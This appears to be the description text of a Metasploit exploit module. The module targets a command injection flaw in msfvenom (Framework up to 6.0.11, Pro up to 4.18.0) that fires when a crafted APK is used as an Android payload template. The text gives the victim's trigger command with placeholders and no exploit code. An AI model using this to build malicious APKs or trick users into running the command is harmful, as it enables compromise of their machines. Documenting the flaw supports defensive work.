This module exploits a command injection vulnerability in Metasploit Framework's msfvenom
payload generator when using a crafted APK file as an Android payload template. Affects
Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0. The file produced by this
module is a relatively empty yet valid-enough APK file. To trigger the vulnerability,
the victim user should do the following:

msfvenom -p android/<...> -x <crafted_file.apk>
